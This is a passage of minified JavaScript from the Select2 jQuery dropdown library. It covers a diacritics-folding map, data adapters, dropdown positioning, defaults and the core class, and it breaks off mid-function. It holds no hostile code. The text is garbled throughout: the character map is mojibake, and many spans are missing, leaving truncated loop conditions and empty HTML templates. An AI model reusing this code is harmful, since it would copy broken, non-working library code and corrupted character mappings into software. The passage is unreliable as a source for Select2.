":"S","Ṧ":"S","á¹¢":"S","Ṩ":"S","Ș":"S","Åž":"S","â±¾":"S","Ꞩ":"S","êž„":"S","Ⓣ":"T","ï¼´":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Èš":"T","Å¢":"T","á¹°":"T","á¹®":"T","Ŧ":"T","Ƭ":"T","Æ®":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","ï¼µ":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ç›":"U","Ç—":"U","Ç•":"U","Ç™":"U","Ủ":"U","Å®":"U","Ű":"U","Ç“":"U","È”":"U","È–":"U","Ư":"U","Ừ":"U","Ứ":"U","á»®":"U","Ử":"U","á»°":"U","Ụ":"U","á¹²":"U","Ų":"U","á¹¶":"U","á¹´":"U","É„":"U","â“‹":"V","ï¼¶":"V","á¹¼":"V","á¹¾":"V","Ʋ":"V","êž":"V","É…":"V","ê ":"VY","Ⓦ":"W","ï¼·":"W","Ẁ":"W","Ẃ":"W","Å´":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","â±²":"W","â“":"X","X":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","ï¼¹":"Y","Ỳ":"Y","Ã":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","á»¶":"Y","á»´":"Y","Ƴ":"Y","ÉŽ":"Y","Ỿ":"Y","â“":"Z","Z":"Z","Ź":"Z","áº":"Z","Å»":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","ê¢":"Z","â“":"a","ï½":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","Ä":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","Ç¡":"a","ä":"a","ÇŸ":"a","ả":"a","Ã¥":"a","Ç»":"a","ÇŽ":"a","È":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","á¸":"a","Ä…":"a","â±¥":"a","É":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","Ç£":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","â“‘":"b","b":"b","ḃ":"b","ḅ":"b","ḇ":"b","Æ€":"b","ƃ":"b","É“":"b","â“’":"c","c":"c","ć":"c","ĉ":"c","Ä‹":"c","Ä":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","â““":"d","d":"d","ḋ":"d","Ä":"d","á¸":"d","ḑ":"d","ḓ":"d","á¸":"d","Ä‘":"d","ÆŒ":"d","É–":"d","É—":"d","êº":"d","dz":"dz","dž":"dz","â“”":"e","ï½…":"e","è":"e","é":"e","ê":"e","á»":"e","ế":"e","á»…":"e","ể":"e","ẽ":"e","Ä“":"e","ḕ":"e","ḗ":"e","Ä•":"e","Ä—":"e","ë":"e","ẻ":"e","Ä›":"e","È…":"e","ȇ":"e","ẹ":"e","ệ":"e","È©":"e","á¸":"e","Ä™":"e","ḙ":"e","ḛ":"e","ɇ":"e","É›":"e","Ç":"e","â“•":"f","f":"f","ḟ":"f","Æ’":"f","ê¼":"f","â“–":"g","g":"g","ǵ":"g","Ä":"g","ḡ":"g","ÄŸ":"g","Ä¡":"g","ǧ":"g","Ä£":"g","Ç¥":"g","É ":"g","êž¡":"g","áµ¹":"g","ê¿":"g","â“—":"h","h":"h","Ä¥":"h","ḣ":"h","ḧ":"h","ÈŸ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","â±¶":"h","É¥":"h","Æ•":"hv","ⓘ":"i","i":"i","ì":"i","í":"i","î":"i","Ä©":"i","Ä«":"i","Ä­":"i","ï":"i","ḯ":"i","ỉ":"i","Ç":"i","ȉ":"i","È‹":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","â“™":"j","j":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","k":"k","ḱ":"k","Ç©":"k","ḳ":"k","Ä·":"k","ḵ":"k","Æ™":"k","ⱪ":"k","ê":"k","êƒ":"k","ê…":"k","ꞣ":"k","â“›":"l","l":"l","Å€":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","Å¿":"l","Å‚":"l","Æš":"l","É«":"l","ⱡ":"l","ê‰":"l","êž":"l","ê‡":"l","lj":"lj","ⓜ":"m","ï½":"m","ḿ":"m","á¹":"m","ṃ":"m","ɱ":"m","ɯ":"m","â“":"n","n":"n","ǹ":"n","Å„":"n","ñ":"n","á¹…":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","Æž":"n","ɲ":"n","ʼn":"n","êž‘":"n","ꞥ":"n","ÇŒ":"nj","ⓞ":"o","ï½":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","á»—":"o","ổ":"o","õ":"o","á¹":"o","È­":"o","á¹":"o","Å":"o","ṑ":"o","ṓ":"o","Å":"o","ȯ":"o","ȱ":"o","ö":"o","È«":"o","á»":"o","Å‘":"o","Ç’":"o","È":"o","È":"o","Æ¡":"o","á»":"o","á»›":"o","ỡ":"o","ở":"o","ợ":"o","á»":"o","á»™":"o","Ç«":"o","Ç­":"o","ø":"o","Ç¿":"o","É”":"o","ê‹":"o","ê":"o","ɵ":"o","Æ£":"oi","È£":"ou","ê":"oo","ⓟ":"p","ï½":"p","ṕ":"p","á¹—":"p","Æ¥":"p","áµ½":"p","ê‘":"p","ê“":"p","ê•":"p","â“ ":"q","q":"q","É‹":"q","ê—":"q","ê™":"q","â“¡":"r","ï½’":"r","Å•":"r","á¹™":"r","Å™":"r","È‘":"r","È“":"r","á¹›":"r","á¹":"r","Å—":"r","ṟ":"r","É":"r","ɽ":"r","ê›":"r","êž§":"r","ꞃ":"r","â“¢":"s","s":"s","ß":"s","Å›":"s","á¹¥":"s","Å":"s","ṡ":"s","Å¡":"s","á¹§":"s","á¹£":"s","ṩ":"s","È™":"s","ÅŸ":"s","È¿":"s","êž©":"s","êž…":"s","ẛ":"s","â“£":"t","ï½”":"t","ṫ":"t","ẗ":"t","Å¥":"t","á¹­":"t","È›":"t","Å£":"t","á¹±":"t","ṯ":"t","ŧ":"t","Æ­":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","u":"u","ù":"u","ú":"u","û":"u","Å©":"u","á¹¹":"u","Å«":"u","á¹»":"u","Å­":"u","ü":"u","Çœ":"u","ǘ":"u","Ç–":"u","Çš":"u","á»§":"u","ů":"u","ű":"u","Ç”":"u","È•":"u","È—":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","á»­":"u","á»±":"u","ụ":"u","á¹³":"u","ų":"u","á¹·":"u","á¹µ":"u","ʉ":"u","â“¥":"v","ï½–":"v","á¹½":"v","ṿ":"v","Ê‹":"v","êŸ":"v","ÊŒ":"v","ê¡":"vy","ⓦ":"w","ï½—":"w","áº":"w","ẃ":"w","ŵ":"w","ẇ":"w","ẅ":"w","ẘ":"w","ẉ":"w","â±³":"w","â“§":"x","x":"x","ẋ":"x","áº":"x","ⓨ":"y","ï½™":"y","ỳ":"y","ý":"y","Å·":"y","ỹ":"y","ȳ":"y","áº":"y","ÿ":"y","á»·":"y","ẙ":"y","ỵ":"y","Æ´":"y","É":"y","ỿ":"y","â“©":"z","z":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","È¥":"z","É€":"z","ⱬ":"z","ê£":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","ÎŒ":"Ο","ÎŽ":"Î¥","Ϋ":"Î¥","Î":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ÏŠ":"ι","Î":"ι","ÏŒ":"ο","Ï":"Ï…","Ï‹":"Ï…","ΰ":"Ï…","ω":"ω","Ï‚":"σ"}}),b.define("select2/data/base",["../utils"],function(a){function b(a,c){b.__super__.constructor.call(this)}return a.Extend(b,a.Observable),b.prototype.current=function(a){throw new Error("The `current` method must be defined in child classes.")},b.prototype.query=function(a,b){throw new Error("The `query` method must be defined in child classes.")},b.prototype.bind=function(a,b){},b.prototype.destroy=function(){},b.prototype.generateResultId=function(b,c){var d=b.id+"-result-";return d+=a.generateChars(4),null!=c.id?d+="-"+c.id.toString():d+="-"+a.generateChars(4),d},b}),b.define("select2/data/select",["./base","../utils","jquery"],function(a,b,c){function d(a,b){this.$element=a,this.options=b,d.__super__.constructor.call(this)}return b.Extend(d,a),d.prototype.current=function(a){var b=[],d=this;this.$element.find(":selected").each(function(){var a=c(this),e=d.item(a);b.push(e)}),a(b)},d.prototype.select=function(a){var b=this;if(a.selected=!0,c(a.element).is("option"))return a.element.selected=!0,void this.$element.trigger("change");if(this.$element.prop("multiple"))this.current(function(d){var e=[];a=[a],a.push.apply(a,d);for(var f=0;f=0){var k=f.filter(d(j)),l=this.item(k),m=c.extend(!0,{},j,l),n=this.option(m);k.replaceWith(n)}else{var o=this.option(j);if(j.children){var p=this.convertToOptions(j.children);b.appendMany(o,p)}h.push(o)}}return h},d}),b.define("select2/data/ajax",["./array","../utils","jquery"],function(a,b,c){function d(a,b){this.ajaxOptions=this._applyDefaults(b.get("ajax")),null!=this.ajaxOptions.processResults&&(this.processResults=this.ajaxOptions.processResults),d.__super__.constructor.call(this,a,b)}return b.Extend(d,a),d.prototype._applyDefaults=function(a){var b={data:function(a){return c.extend({},a,{q:a.term})},transport:function(a,b,d){var e=c.ajax(a);return e.then(b),e.fail(d),e}};return c.extend({},b,a,!0)},d.prototype.processResults=function(a){return a},d.prototype.query=function(a,b){function d(){var d=f.transport(f,function(d){var f=e.processResults(d,a);e.options.get("debug")&&window.console&&console.error&&(f&&f.results&&c.isArray(f.results)||console.error("Select2: The AJAX results did not return an array in the `results` key of the response.")),b(f)},function(){"status"in d&&(0===d.status||"0"===d.status)||e.trigger("results:message",{message:"errorLoading"})});e._request=d}var e=this;null!=this._request&&(c.isFunction(this._request.abort)&&this._request.abort(),this._request=null);var f=c.extend({type:"GET"},this.ajaxOptions);"function"==typeof f.url&&(f.url=f.url.call(this.$element,a)),"function"==typeof f.data&&(f.data=f.data.call(this.$element,a)),this.ajaxOptions.delay&&null!=a.term?(this._queryTimeout&&window.clearTimeout(this._queryTimeout),this._queryTimeout=window.setTimeout(d,this.ajaxOptions.delay)):d()},d}),b.define("select2/data/tags",["jquery"],function(a){function b(b,c,d){var e=d.get("tags"),f=d.get("createTag");void 0!==f&&(this.createTag=f);var g=d.get("insertTag");if(void 0!==g&&(this.insertTag=g),b.call(this,c,d),a.isArray(e))for(var h=0;h0&&b.term.length>this.maximumInputLength)return void this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:b.term,params:b}});a.call(this,b,c)},a}),b.define("select2/data/maximumSelectionLength",[],function(){function a(a,b,c){this.maximumSelectionLength=c.get("maximumSelectionLength"),a.call(this,b,c)}return a.prototype.query=function(a,b,c){var d=this;this.current(function(e){var f=null!=e?e.length:0;if(d.maximumSelectionLength>0&&f>=d.maximumSelectionLength)return void d.trigger("results:message",{message:"maximumSelected",args:{maximum:d.maximumSelectionLength}});a.call(d,b,c)})},a}),b.define("select2/dropdown",["jquery","./utils"],function(a,b){function c(a,b){this.$element=a,this.options=b,c.__super__.constructor.call(this)}return b.Extend(c,b.Observable),c.prototype.render=function(){var b=a('');return b.attr("dir",this.options.get("dir")),this.$dropdown=b,b},c.prototype.bind=function(){},c.prototype.position=function(a,b){},c.prototype.destroy=function(){this.$dropdown.remove()},c}),b.define("select2/dropdown/search",["jquery","../utils"],function(a,b){function c(){}return c.prototype.render=function(b){var c=b.call(this),d=a('');return this.$searchContainer=d,this.$search=d.find("input"),c.prepend(d),c},c.prototype.bind=function(b,c,d){var e=this;b.call(this,c,d),this.$search.on("keydown",function(a){e.trigger("keypress",a),e._keyUpPrevented=a.isDefaultPrevented()}),this.$search.on("input",function(b){a(this).off("keyup")}),this.$search.on("keyup input",function(a){e.handleSearch(a)}),c.on("open",function(){e.$search.attr("tabindex",0),e.$search.focus(),window.setTimeout(function(){e.$search.focus()},0)}),c.on("close",function(){e.$search.attr("tabindex",-1),e.$search.val(""),e.$search.blur()}),c.on("focus",function(){c.isOpen()||e.$search.focus()}),c.on("results:all",function(a){if(null==a.query.term||""===a.query.term){e.showSearch(a)?e.$searchContainer.removeClass("select2-search--hide"):e.$searchContainer.addClass("select2-search--hide")}})},c.prototype.handleSearch=function(a){if(!this._keyUpPrevented){var b=this.$search.val();this.trigger("query",{term:b})}this._keyUpPrevented=!1},c.prototype.showSearch=function(a,b){return!0},c}),b.define("select2/dropdown/hidePlaceholder",[],function(){function a(a,b,c,d){this.placeholder=this.normalizePlaceholder(c.get("placeholder")),a.call(this,b,c,d)}return a.prototype.append=function(a,b){b.results=this.removePlaceholder(b.results),a.call(this,b)},a.prototype.normalizePlaceholder=function(a,b){return"string"==typeof b&&(b={id:"",text:b}),b},a.prototype.removePlaceholder=function(a,b){for(var c=b.slice(0),d=b.length-1;d>=0;d--){var e=b[d];this.placeholder.id===e.id&&c.splice(d,1)}return c},a}),b.define("select2/dropdown/infiniteScroll",["jquery"],function(a){function b(a,b,c,d){this.lastParams={},a.call(this,b,c,d),this.$loadingMore=this.createLoadingMore(),this.loading=!1}return b.prototype.append=function(a,b){this.$loadingMore.remove(),this.loading=!1,a.call(this,b),this.showLoadingMore(b)&&this.$results.append(this.$loadingMore)},b.prototype.bind=function(b,c,d){var e=this;b.call(this,c,d),c.on("query",function(a){e.lastParams=a,e.loading=!0}),c.on("query:append",function(a){e.lastParams=a,e.loading=!0}),this.$results.on("scroll",function(){var b=a.contains(document.documentElement,e.$loadingMore[0]);if(!e.loading&&b){e.$results.offset().top+e.$results.outerHeight(!1)+50>=e.$loadingMore.offset().top+e.$loadingMore.outerHeight(!1)&&e.loadMore()}})},b.prototype.loadMore=function(){this.loading=!0;var b=a.extend({},{page:1},this.lastParams);b.page++,this.trigger("query:append",b)},b.prototype.showLoadingMore=function(a,b){return b.pagination&&b.pagination.more},b.prototype.createLoadingMore=function(){var b=a('
                • '),c=this.options.get("translations").get("loadingMore");return b.html(c(this.lastParams)),b},b}),b.define("select2/dropdown/attachBody",["jquery","../utils"],function(a,b){function c(b,c,d){this.$dropdownParent=d.get("dropdownParent")||a(document.body),b.call(this,c,d)}return c.prototype.bind=function(a,b,c){var d=this,e=!1;a.call(this,b,c),b.on("open",function(){d._showDropdown(),d._attachPositioningHandler(b),e||(e=!0,b.on("results:all",function(){d._positionDropdown(),d._resizeDropdown()}),b.on("results:append",function(){d._positionDropdown(),d._resizeDropdown()}))}),b.on("close",function(){d._hideDropdown(),d._detachPositioningHandler(b)}),this.$dropdownContainer.on("mousedown",function(a){a.stopPropagation()})},c.prototype.destroy=function(a){a.call(this),this.$dropdownContainer.remove()},c.prototype.position=function(a,b,c){b.attr("class",c.attr("class")),b.removeClass("select2"),b.addClass("select2-container--open"),b.css({position:"absolute",top:-999999}),this.$container=c},c.prototype.render=function(b){var c=a(""),d=b.call(this);return c.append(d),this.$dropdownContainer=c,c},c.prototype._hideDropdown=function(a){this.$dropdownContainer.detach()},c.prototype._attachPositioningHandler=function(c,d){var e=this,f="scroll.select2."+d.id,g="resize.select2."+d.id,h="orientationchange.select2."+d.id,i=this.$container.parents().filter(b.hasScroll);i.each(function(){b.StoreData(this,"select2-scroll-position",{x:a(this).scrollLeft(),y:a(this).scrollTop()})}),i.on(f,function(c){var d=b.GetData(this,"select2-scroll-position");a(this).scrollTop(d.y)}),a(window).on(f+" "+g+" "+h,function(a){e._positionDropdown(),e._resizeDropdown()})},c.prototype._detachPositioningHandler=function(c,d){var e="scroll.select2."+d.id,f="resize.select2."+d.id,g="orientationchange.select2."+d.id;this.$container.parents().filter(b.hasScroll).off(e),a(window).off(e+" "+f+" "+g)},c.prototype._positionDropdown=function(){var b=a(window),c=this.$dropdown.hasClass("select2-dropdown--above"),d=this.$dropdown.hasClass("select2-dropdown--below"),e=null,f=this.$container.offset();f.bottom=f.top+this.$container.outerHeight(!1);var g={height:this.$container.outerHeight(!1)};g.top=f.top,g.bottom=f.top+g.height;var h={height:this.$dropdown.outerHeight(!1)},i={top:b.scrollTop(),bottom:b.scrollTop()+b.height()},j=i.topf.bottom+h.height,l={left:f.left,top:g.bottom},m=this.$dropdownParent;"static"===m.css("position")&&(m=m.offsetParent());var n=m.offset();l.top-=n.top,l.left-=n.left,c||d||(e="below"),k||!j||c?!j&&k&&c&&(e="below"):e="above",("above"==e||c&&"below"!==e)&&(l.top=g.top-n.top-h.height),null!=e&&(this.$dropdown.removeClass("select2-dropdown--below select2-dropdown--above").addClass("select2-dropdown--"+e),this.$container.removeClass("select2-container--below select2-container--above").addClass("select2-container--"+e)),this.$dropdownContainer.css(l)},c.prototype._resizeDropdown=function(){var a={width:this.$container.outerWidth(!1)+"px"};this.options.get("dropdownAutoWidth")&&(a.minWidth=a.width,a.position="relative",a.width="auto"),this.$dropdown.css(a)},c.prototype._showDropdown=function(a){this.$dropdownContainer.appendTo(this.$dropdownParent),this._positionDropdown(),this._resizeDropdown()},c}),b.define("select2/dropdown/minimumResultsForSearch",[],function(){function a(b){for(var c=0,d=0;d0&&(l.dataAdapter=j.Decorate(l.dataAdapter,r)),l.maximumInputLength>0&&(l.dataAdapter=j.Decorate(l.dataAdapter,s)),l.maximumSelectionLength>0&&(l.dataAdapter=j.Decorate(l.dataAdapter,t)),l.tags&&(l.dataAdapter=j.Decorate(l.dataAdapter,p)),null==l.tokenSeparators&&null==l.tokenizer||(l.dataAdapter=j.Decorate(l.dataAdapter,q)),null!=l.query){var C=b(l.amdBase+"compat/query");l.dataAdapter=j.Decorate(l.dataAdapter,C)}if(null!=l.initSelection){var D=b(l.amdBase+"compat/initSelection");l.dataAdapter=j.Decorate(l.dataAdapter,D)}}if(null==l.resultsAdapter&&(l.resultsAdapter=c,null!=l.ajax&&(l.resultsAdapter=j.Decorate(l.resultsAdapter,x)),null!=l.placeholder&&(l.resultsAdapter=j.Decorate(l.resultsAdapter,w)),l.selectOnClose&&(l.resultsAdapter=j.Decorate(l.resultsAdapter,A))),null==l.dropdownAdapter){if(l.multiple)l.dropdownAdapter=u;else{var E=j.Decorate(u,v);l.dropdownAdapter=E}if(0!==l.minimumResultsForSearch&&(l.dropdownAdapter=j.Decorate(l.dropdownAdapter,z)),l.closeOnSelect&&(l.dropdownAdapter=j.Decorate(l.dropdownAdapter,B)),null!=l.dropdownCssClass||null!=l.dropdownCss||null!=l.adaptDropdownCssClass){var F=b(l.amdBase+"compat/dropdownCss");l.dropdownAdapter=j.Decorate(l.dropdownAdapter,F)}l.dropdownAdapter=j.Decorate(l.dropdownAdapter,y)}if(null==l.selectionAdapter){if(l.multiple?l.selectionAdapter=e:l.selectionAdapter=d,null!=l.placeholder&&(l.selectionAdapter=j.Decorate(l.selectionAdapter,f)),l.allowClear&&(l.selectionAdapter=j.Decorate(l.selectionAdapter,g)),l.multiple&&(l.selectionAdapter=j.Decorate(l.selectionAdapter,h)),null!=l.containerCssClass||null!=l.containerCss||null!=l.adaptContainerCssClass){var G=b(l.amdBase+"compat/containerCss");l.selectionAdapter=j.Decorate(l.selectionAdapter,G)}l.selectionAdapter=j.Decorate(l.selectionAdapter,i)}if("string"==typeof l.language)if(l.language.indexOf("-")>0){var H=l.language.split("-"),I=H[0];l.language=[l.language,I]}else l.language=[l.language];if(a.isArray(l.language)){var J=new k;l.language.push("en");for(var K=l.language,L=0;L0){for(var f=a.extend(!0,{},e),g=e.children.length-1;g>=0;g--){null==c(d,e.children[g])&&f.children.splice(g,1)}return f.children.length>0?f:c(d,f)}var h=b(e.text).toUpperCase(),i=b(d.term).toUpperCase();return h.indexOf(i)>-1?e:null}this.defaults={amdBase:"./",amdLanguageBase:"./i18n/",closeOnSelect:!0,debug:!1,dropdownAutoWidth:!1,escapeMarkup:j.escapeMarkup,language:C,matcher:c,minimumInputLength:0,maximumInputLength:0,maximumSelectionLength:0,minimumResultsForSearch:0,selectOnClose:!1,sorter:function(a){return a},templateResult:function(a){return a.text},templateSelection:function(a){return a.text},theme:"default",width:"resolve"}},D.prototype.set=function(b,c){var d=a.camelCase(b),e={};e[d]=c;var f=j._convertData(e);a.extend(!0,this.defaults,f)},new D}),b.define("select2/options",["require","jquery","./defaults","./utils"],function(a,b,c,d){function e(b,e){if(this.options=b,null!=e&&this.fromElement(e),this.options=c.apply(this.options),e&&e.is("input")){var f=a(this.get("amdBase")+"compat/inputData");this.options.dataAdapter=d.Decorate(this.options.dataAdapter,f)}}return e.prototype.fromElement=function(a){var c=["select2"];null==this.options.multiple&&(this.options.multiple=a.prop("multiple")),null==this.options.disabled&&(this.options.disabled=a.prop("disabled")),null==this.options.language&&(a.prop("lang")?this.options.language=a.prop("lang").toLowerCase():a.closest("[lang]").prop("lang")&&(this.options.language=a.closest("[lang]").prop("lang"))),null==this.options.dir&&(a.prop("dir")?this.options.dir=a.prop("dir"):a.closest("[dir]").prop("dir")?this.options.dir=a.closest("[dir]").prop("dir"):this.options.dir="ltr"),a.prop("disabled",this.options.disabled),a.prop("multiple",this.options.multiple),d.GetData(a[0],"select2Tags")&&(this.options.debug&&window.console&&console.warn&&console.warn('Select2: The `data-select2-tags` attribute has been changed to use the `data-data` and `data-tags="true"` attributes and will be removed in future versions of Select2.'),d.StoreData(a[0],"data",d.GetData(a[0],"select2Tags")),d.StoreData(a[0],"tags",!0)),d.GetData(a[0],"ajaxUrl")&&(this.options.debug&&window.console&&console.warn&&console.warn("Select2: The `data-ajax-url` attribute has been changed to `data-ajax--url` and support for the old attribute will be removed in future versions of Select2."),a.attr("ajax--url",d.GetData(a[0],"ajaxUrl")),d.StoreData(a[0],"ajax-Url",d.GetData(a[0],"ajaxUrl")));var e={};e=b.fn.jquery&&"1."==b.fn.jquery.substr(0,2)&&a[0].dataset?b.extend(!0,{},a[0].dataset,d.GetData(a[0])):d.GetData(a[0]);var f=b.extend(!0,{},e);f=d._convertData(f);for(var g in f)b.inArray(g,c)>-1||(b.isPlainObject(this.options[g])?b.extend(this.options[g],f[g]):this.options[g]=f[g]);return this},e.prototype.get=function(a){return this.options[a]},e.prototype.set=function(a,b){this.options[a]=b},e}),b.define("select2/core",["jquery","./options","./utils","./keys"],function(a,b,c,d){var e=function(a,d){null!=c.GetData(a[0],"select2")&&c.GetData(a[0],"select2").destroy(),this.$element=a,this.id=this._generateId(a),d=d||{},this.options=new b(d,a),e.__super__.constructor.call(this);var f=a.attr("tabindex")||0;c.StoreData(a[0],"old-tabindex",f),a.attr("tabindex","-1");var g=this.options.get("dataAdapter");this.dataAdapter=new g(a,this.options);var h=this.render();this._placeContainer(h);var i=this.options.get("selectionAdapter");this.selection=new i(a,this.options),this.$selection=this.selection.render(),this.selection.position(this.$selection,h);var j=this.options.get("dropdownAdapter");this.dropdown=new j(a,this.options),this.$dropdown=this.dropdown.render(),this.dropdown.position(this.$dropdown,h);var k=this.options.get("resultsAdapter");this.results=new k(a,this.options,this.dataAdapter),this.$results=this.results.render(),this.results.position(this.$results,this.$dropdown);var l=this;this._bindAdapters(),this._registerDomEvents(),this._registerDataEvents(),this._registerSelectionEvents(),this._registerDropdownEvents(),this._registerResultsEvents(),this._registerEvents(),this.dataAdapter.current(function(a){l.trigger("selection:update",{data:a})}),a.addClass("select2-hidden-accessible"),a.attr("aria-hidden","true"),this._syncAttributes(),c.StoreData(a[0],"select2",this),a.data("select2",this)};return c.Extend(e,c.Observable),e.prototype._generateId=function(a){var b="";return b=null!=a.attr("id")?a.attr("id"):null!=a.attr("name")?a.attr("name")+"-"+c.generateChars(2):c.generateChars(4),b=b.replace(/(:|\.|\[|\]|,)/g,""),b="select2-"+b},e.prototype._placeContainer=function(a){a.insertAfter(this.$element);var b=this._resolveWidth(this.$element,this.options.get("width"));null!=b&&a.css("width",b)},e.prototype._resolveWidth=function(a,b){var c=/^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;if("resolve"==b){var d=this._resolveWidth(a,"style");return null!=d?d:this._resolveWidth(a,"element")}if("element"==b){var e=a.outerWidth(!1);return e<=0?"auto":e+"px"}if("style"==b){var f=a.attr("style");if("string"!=typeof f)return null;for(var g=f.split(";"),h=0,i=g.length;h=1)return k[1]}return null}return b},e.prototype._bindAdapters=function(){this.dataAdapter.bind(this,this.$container),this.selection.bind(this,this.$container),this.dropdown.bind(this,this.$container),this.results.bind(this,this.$container)},e.prototype._registerDomEvents=function(){var b=this;this.$element.on("change.select2",function(){b.dataAdapter.current(function(a){b.trigger("selection:update",{data:a})})}),this.$element.on("focus.select2",function(a){b.trigger("focus",a)}),this._syncA=c.bind(this._syncAttributes,this),this._syncS=c.bind(this._syncSubtree,this),this.$element[0].attachEvent&&this.$element[0].attachEvent("onpropertychange",this._syncA);var d=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver;null!=d?(this._observer=new d(function(c){a.each(c,b._syncA),a.each(c,b._syncS)}),this._observer.observe(this.$element[0],{attributes:!0,childList:!0,subtree:!1})):this.$element[0].addEventListener&&(this.$element[0].addEventListener("DOMAttrModified",b._syncA,!1),this.$element[0].addEventListener("DOMNodeInserted",b._syncS,!1),this.$element[0].addEventListener("DOMNodeRemoved",b._syncS,!1))},e.prototype._registerDataEvents=function(){var a=this;this.dataAdapter.on("*",function(b,c){a.trigger(b,c)})},e.prototype._registerSelectionEvents=function(){var b=this,c=["toggle","focus"];this.selection.on("toggle",function(){b.toggleDropdown()}),this.selection.on("focus",function(a){b.focus(a)}),this.selection.on("*",function(d,e){-1===a.inArray(d,c)&&b.trigger(d,e)})},e.prototype._registerDropdownEvents=function(){var a=this;this.dropdown.on("*",function(b,c){a.trigger(b,c)})},e.prototype._registerResultsEvents=function(){var a=this;this.results.on("*",function(b,c){a.trigger(b,c)})},e.prototype._registerEvents=function(){var a=this;this.on("open",function(){a.$container.addClass("select2-container--open")}),this.on("close",function(){a.$container.removeClass("select2-container--open")}),this.on("enable",function(){a.$container.removeClass("select2-container--disabled")}),this.on("disable",function(){a.$container.addClass("select2-container--disabled")}),this.on("blur",function(){a.$container.removeClass("select2-container--focus")}),this.on("query",function(b){a.isOpen()||a.trigger("open",{}),this.dataAdapter.query(b,function(c){a.trigger("results:all",{data:c,query:b})})}),this.on("query:append",function(b){this.dataAdapter.query(b,function(c){a.trigger("results:append",{data:c,query:b})})}),this.on("keypress",function(b){var c=b.which;a.isOpen()?c===d.ESC||c===d.TAB||c===d.UP&&b.altKey?(a.close(),b.preventDefault()):c===d.ENTER?(a.trigger("results:select",{}),b.preventDefault()):c===d.SPACE&&b.ctrlKey?(a.trigger("results:toggle",{}),b.preventDefault()):c===d.UP?(a.trigger("results:previous",{}),b.preventDefault()):c===d.DOWN&&(a.trigger("results:next",{}),b.preventDefault()):(c===d.ENTER||c===d.SPACE||c===d.DOWN&&b.altKey)&&(a.open(),b.preventDefault())})},e.prototype._syncAttributes=function(){this.options.set("disabled",this.$element.prop("disabled")),this.options.get("disabled")?(this.isOpen()&&this.close(),this.trigger("disable",{})):this.trigger("enable",{})},e.prototype._syncSubtree=function(a,b){var c=!1,d=this;if(!a||!a.target||"OPTION"===a.target.nodeName||"OPTGROUP"===a.target.nodeName){if(b)if(b.addedNodes&&b.addedNodes.length>0)for(var e=0;e0&&(c=!0);else c=!0;c&&this.dataAdapter.current(function(a){d.trigger("selection:update",{data:a})})}},e.prototype.trigger=function(a,b){var c=e.__super__.trigger,d={open:"opening",close:"closing",select:"selecting",unselect:"unselecting",clear:"clearing"};if(void 0===b&&(b={}),a in d){var f=d[a],g={prevented:!1,name:a,args:b};if(c.call(this,f,g),g.prevented)return void(b.prevented=!0)}c.call(this,a,b)},e.prototype.toggleDropdown=function(){this.options.get("disabled")||(this.isOpen()?this.close():this.open())},e.prototype.open=function(){this.isOpen()||this.trigger("query",{})},e.prototype.close=function(){this.isOpen()&&this.trigger("close",{})},e.prototype.isOpen=function(){return this.$container.hasClass("select2-container--open")},e.prototype.hasFocus=function(){return this.$container.hasClass("select2-container--focus")},e.prototype.focus=function(a){this.hasFocus()||(this.$container.addClass("select2-container--focus"),this.trigger("focus",{}))},e.prototype.enable=function(a){this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("enable")` method has been deprecated and will be removed in later Select2 versions. Use $element.prop("disabled") instead.'),null!=a&&0!==a.length||(a=[!0]);var b=!a[0];this.$element.prop("disabled",b)},e.prototype.data=function(){this.options.get("debug")&&arguments.length>0&&window.console&&console.warn&&console.warn('Select2: Data can no longer be set using `select2("data")`. You should consider setting the value instead using `$element.val()`.');var a=[];return this.dataAdapter.current(function(b){a=b}),a},e.prototype.val=function(b){if(this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("val")` method has been deprecated and will be removed in later Select2 versions. Use $element.val() instead.'),null==b||0===b.length)return this.$element.val();var c=b[0];a.isArray(c)&&(c=a.map(c,function(a){return 